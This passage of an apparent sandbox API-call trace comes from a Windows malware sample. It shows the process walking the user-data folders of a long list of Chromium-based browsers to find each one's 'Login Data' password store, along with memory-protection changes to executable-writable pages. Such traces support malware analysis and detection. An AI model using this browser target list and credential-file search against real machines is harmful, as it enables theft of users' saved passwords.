nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x37 [0156.005] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.006] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\centbrowser\\user data\\login data")) returned 0xffffffff [0156.006] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.006] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f58, cbMultiByte=5, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="7StarPPDATA%\\CentBrowser\\User Data\\ta\\ Data\\㟌瑿") returned 5 [0156.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1dd0, cbMultiByte=37, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\ta\\ Data\\㟌瑿") returned 37 [0156.006] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x37 [0156.006] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.007] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\7star\\7star\\user data\\login data")) returned 0xffffffff [0156.007] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.007] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f6c, cbMultiByte=15, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="ElementsBrowsertar\\7Star\\User Data\\ta\\ Data\\㟌瑿") returned 15 [0156.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1ef4, cbMultiByte=42, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Elements Browser\\User Data\\ata\\㟌瑿") returned 42 [0156.007] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x3c [0156.007] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.008] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.008] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\elements browser\\user data\\login data")) returned 0xffffffff [0156.008] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.008] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.008] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f88, cbMultiByte=6, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="TorBroPDATA%\\Elements Browser\\User Data\\ata\\㟌瑿") returned 6 [0156.008] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2020, cbMultiByte=30, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\TorBro\\Profile\\r\\User Data\\ata\\㟌瑿") returned 30 [0156.008] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\") returned 0x30 [0156.008] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.009] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.009] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torbro\\profile\\login data")) returned 0xffffffff [0156.009] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.009] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f9c, cbMultiByte=5, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="SuhbaPPDATA%\\TorBro\\Profile\\r\\User Data\\ata\\㟌瑿") returned 5 [0156.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2144, cbMultiByte=31, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Suhba\\User Data\\\\User Data\\ata\\㟌瑿") returned 31 [0156.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.140] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\") returned 0x31 [0156.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.140] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data") returned 10 [0156.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.141] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\suhba\\user data\\login data")) returned 0xffffffff [0156.141] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.141] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fb0, cbMultiByte=12, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="SaferBrowser\\Suhba\\User Data\\\\User Data\\ata\\㟌瑿") returned 12 [0156.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf226c, cbMultiByte=59, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 59 [0156.142] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x4d [0156.142] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data") returned 10 [0156.142] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\safer technologies\\secure browser\\user data\\login data")) returned 0xffffffff [0156.142] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.142] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fcc, cbMultiByte=7, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="MustangDATA%\\Safer Technologies\\Secure Browser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 7 [0156.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf23b4, cbMultiByte=42, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 42 [0156.143] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x1e2a3154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x3c [0156.143] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0xffffffff [0156.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data") returned 10 [0156.143] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rafotech\\mustang\\user data\\login data")) returned 0xffffffff [0156.143] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0 [0156.143] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fe0, cbMultiByte=9, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="SuperbirdTA%\\Rafotech\\Mustang\\User Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 9 [0156.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf24f0, cbMultiByte=35, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Superbird\\User Data\\r Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 35 [0156.143] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x1e2a3154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\") returned 0x35 [0156.144] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0xffffffff [0156.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data") returned 10 [0156.144] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\superbird\\user data\\login data")) returned 0xffffffff [0156.144] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0 [0156.144] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceaf54, cbMultiByte=6, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="ChedotPDATA%\\Superbird\\User Data\\r Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 6 [0156.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2628, cbMultiByte=32, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chedot\\User Data\\ta\\r Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 32 [0156.144] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x1e2a3154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\") returned 0x32 [0156.145] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0xffffffff [0156.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data") returned 10 [0156.145] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chedot\\user data\\login data")) returned 0xffffffff [0156.145] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ㅔḪ䃭@\x05")) returned 0 [0156.145] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb0f4, cbMultiByte=5, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="TorchPPDATA%\\Chedot\\User Data\\ta\\r Data\\rowser\\User Data\\ῦ쉼ῦ쇩瑲㘑瑮꘰ῦゐῡṽ㛄瑮\x14") returned 5 [0156.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2764, cbMultiByte=31, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Torch\\User Data\\\\ta\\r 